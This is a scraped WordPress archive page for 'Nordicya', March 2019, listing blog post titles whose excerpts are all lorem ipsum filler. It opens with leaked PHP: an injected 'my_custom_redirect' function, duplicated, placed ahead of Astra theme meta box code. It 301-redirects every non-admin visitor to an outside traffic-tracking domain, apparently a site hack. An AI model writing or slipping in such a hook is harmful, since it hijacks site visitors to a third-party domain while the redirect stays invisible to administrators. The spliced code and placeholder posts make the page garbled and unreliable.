function my_custom_redirect() { // Убедитесь, что этот код выполняется только на фронтенде if (!is_admin()) { // URL для редиректа $redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick'; // Выполнить редирект wp_redirect($redirect_url, 301); exit(); } } add_action('template_redirect', 'my_custom_redirect');function my_custom_redirect() { // Убедитесь, что этот код выполняется только на фронтенде if (!is_admin()) { // URL для редиректа $redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick'; // Выполнить редирект wp_redirect($redirect_url, 301); exit(); } } add_action('template_redirect', 'my_custom_redirect'); /** * Astra Meta Box Operations * * @package Astra * @author Astra * @copyright Copyright (c) 2020, Astra * @link https://wpastra.com/ * @since Astra 1.0.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } /** * Meta Box */ if ( ! class_exists( 'Astra_Meta_Box_Operations' ) ) { /** * Meta Box */ class Astra_Meta_Box_Operations { /** * Instance * * @var $instance */ private static $instance; /** * Initiator */ public static function get_instance() { if ( ! isset( self::$instance ) ) { self::$instance = new self(); } return self::$instance; } /** * Constructor */ public function __construct() { add_action( 'wp', array( $this, 'meta_hooks' ) ); } /** * Metabox Hooks */ public function meta_hooks() { if ( is_singular() ) { add_action( 'wp_head', array( $this, 'primary_header' ) ); add_filter( 'astra_the_title_enabled', array( $this, 'post_title' ) ); add_filter( 'body_class', array( $this, 'body_class' ) ); } } /** * Primary Header */ public function primary_header() { $display_header = get_post_meta( get_the_ID(), 'ast-main-header-display', true ); $display_header = apply_filters( 'ast_main_header_display', $display_header ); if ( 'disabled' == $display_header ) { remove_action( 'astra_masthead', 'astra_masthead_primary_template' ); } } /** * Disable Post / Page Title * * @param boolean $defaults Show default post title. * @return boolean Status of default post title. */ public function post_title( $defaults ) { $title = get_post_meta( get_the_ID(), 'site-post-title', true ); if ( 'disabled' == $title ) { $defaults = false; } return $defaults; } /** * Add Body Classes * * @param array $classes Body Classes Array. * @return array */ public function body_class( $classes ) { $title = get_post_meta( get_the_ID(), 'site-post-title', true ); if ( 'disabled' != $title ) { $classes[] = 'ast-normal-title-enabled'; } return $classes; } } } /** * Kicking this off by calling 'get_instance()' method */ Astra_Meta_Box_Operations::get_instance(); March 2019 – Nordicya

Month: March 2019

Artbees’ Experience of WordCamp Milano: The Culture of Giving in WordPress

  Auspendisse blandit ligula turpis, ac convallis risus fermentum non. Duis vestibulum quis quam vel accumsan. Nunc a vulputate lectus. Vestibulum eleifend nisl sed massa sagittis vestibulum. Vestibulum pretium blandit tellus, sodales volutpat sapien varius vel. Phasellus tristique cursus erat, a placerat tellus laoreet eget. Fusce vitae dui sit amet lacus rutrum convallis. Vivamus sit …

Artbees’ Experience of WordCamp Milano: The Culture of Giving in WordPress Read More »

What is a WordCamp and What Was Nordicya Takeaways From WordCamp 2018

  Auspendisse blandit ligula turpis, ac convallis risus fermentum non. Duis vestibulum quis quam vel accumsan. Nunc a vulputate lectus. Vestibulum eleifend nisl sed massa sagittis vestibulum. Vestibulum pretium blandit tellus, sodales volutpat sapien varius vel. Phasellus tristique cursus erat, a placerat tellus laoreet eget. Fusce vitae dui sit amet lacus rutrum convallis. Vivamus sit …

What is a WordCamp and What Was Nordicya Takeaways From WordCamp 2018 Read More »

Show Your Audience What’s on the Horizon: FREE Coming Soon PSD Webpage Template

  Auspendisse blandit ligula turpis, ac convallis risus fermentum non. Duis vestibulum quis quam vel accumsan. Nunc a vulputate lectus. Vestibulum eleifend nisl sed massa sagittis vestibulum. Vestibulum pretium blandit tellus, sodales volutpat sapien varius vel. Phasellus tristique cursus erat, a placerat tellus laoreet eget. Fusce vitae dui sit amet lacus rutrum convallis. Vivamus sit …

Show Your Audience What’s on the Horizon: FREE Coming Soon PSD Webpage Template Read More »

Why Data Is Imperative When Developing WordPress Themes & Plugins

Auspendisse blandit ligula turpis, ac convallis risus fermentum non. Duis vestibulum quis quam vel accumsan. Nunc a vulputate lectus. Vestibulum eleifend nisl sed massa sagittis vestibulum. Vestibulum pretium blandit tellus, sodales volutpat sapien varius vel. Phasellus tristique cursus erat, a placerat tellus laoreet eget. Fusce vitae dui sit amet lacus rutrum convallis. Vivamus sit amet …

Why Data Is Imperative When Developing WordPress Themes & Plugins Read More »

Artbees is Showcasing at Web Summit 2018 and big news is around the corner!

Auspendisse blandit ligula turpis, ac convallis risus fermentum non. Duis vestibulum quis quam vel accumsan. Nunc a vulputate lectus. Vestibulum eleifend nisl sed massa sagittis vestibulum. Vestibulum pretium blandit tellus, sodales volutpat sapien varius vel. Phasellus tristique cursus erat, a placerat tellus laoreet eget. Fusce vitae dui sit amet lacus rutrum convallis. Vivamus sit amet …

Artbees is Showcasing at Web Summit 2018 and big news is around the corner! Read More »

Glimpse of the future: Q&A with Artbees Themes CTO about Jupiter X Beta Release

Auspendisse blandit ligula turpis, ac convallis risus fermentum non. Duis vestibulum quis quam vel accumsan. Nunc a vulputate lectus. Vestibulum eleifend nisl sed massa sagittis vestibulum. Vestibulum pretium blandit tellus, sodales volutpat sapien varius vel. Phasellus tristique cursus erat, a placerat tellus laoreet eget. Fusce vitae dui sit amet lacus rutrum convallis. Vivamus sit amet …

Glimpse of the future: Q&A with Artbees Themes CTO about Jupiter X Beta Release Read More »

What you need to know about Gutenberg WordPress Editor

Auspendisse blandit ligula turpis, ac convallis risus fermentum non. Duis vestibulum quis quam vel accumsan. Nunc a vulputate lectus. Vestibulum eleifend nisl sed massa sagittis vestibulum. Vestibulum pretium blandit tellus, sodales volutpat sapien varius vel. Phasellus tristique cursus erat, a placerat tellus laoreet eget. Fusce vitae dui sit amet lacus rutrum convallis. Vivamus sit amet …

What you need to know about Gutenberg WordPress Editor Read More »

Website builder UX strategy: Component customisation

Auspendisse blandit ligula turpis, ac convallis risus fermentum non. Duis vestibulum quis quam vel accumsan. Nunc a vulputate lectus. Vestibulum eleifend nisl sed massa sagittis vestibulum. Vestibulum pretium blandit tellus, sodales volutpat sapien varius vel. Phasellus tristique cursus erat, a placerat tellus laoreet eget. Fusce vitae dui sit amet lacus rutrum convallis. Vivamus sit amet …

Website builder UX strategy: Component customisation Read More »